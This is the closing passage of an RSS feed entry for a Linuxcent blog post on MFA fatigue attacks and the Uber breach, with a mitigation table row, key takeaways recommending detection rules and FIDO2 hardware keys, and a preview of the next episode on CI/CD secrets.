<td>SIM swap</td>
<td>Port victim&#8217;s phone number to attacker&#8217;s SIM; receive OTP</td>
<td>Hardware key (phone-independent)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>An <strong>MFA fatigue attack</strong> exploits push notification UX — training users to tap &#8220;deny&#8221; competes with a trained habit of tapping &#8220;accept&#8221;; hardware keys eliminate the attack surface by requiring physical presence</li>
<li>The Uber breach (2022) was MFA fatigue + hardcoded credentials in a file share — two OWASP categories chained (A07 + A02)</li>
<li>Detection is straightforward: multiple MFA failures followed by a success in a short window — this pattern exists in every IdP&#8217;s logs; adding the detection rule is the work</li>
<li>Number matching is a meaningful intermediate mitigation; it is not a structural fix</li>
<li>Hardware FIDO2 keys are the structural fix — they require physical presence and are phishing-resistant by design</li>
<li>Tier-0 accounts (cloud admin, IAM admin, Okta admin) cannot wait for the phased rollout — hardware keys on day one</li>
<li>Session token theft (CircleCI, Okta support breach) is a related A07 variant: even perfect MFA is bypassed if a valid session token is exfiltrated</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP06 covers CI/CD secrets exposure — how pipeline breaches work, why storing credentials in environment variables is structurally dangerous, and how the CircleCI breach exposed secrets that teams thought were safely stored. The structural answer is OIDC workload identity (IAM EP07): short-lived credentials that cannot be exfiltrated because they don&#8217;t exist until the moment they&#8217;re needed.</p>
<p>Get EP06 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&#038;title=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" data-a2a-url="https://linuxcent.com/mfa-fatigue-attack-uber-okta/" data-a2a-title="MFA Fatigue Attacks: How Uber Got Breached and How to Stop It"></a></p><p>The post <a href="https://linuxcent.com/mfa-fatigue-attack-uber-okta/">MFA Fatigue Attacks: How Uber Got Breached and How to Stop It</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/mfa-fatigue-attack-uber-okta/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1855</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-07-11 03:52:19 by W3 Total Cache
-->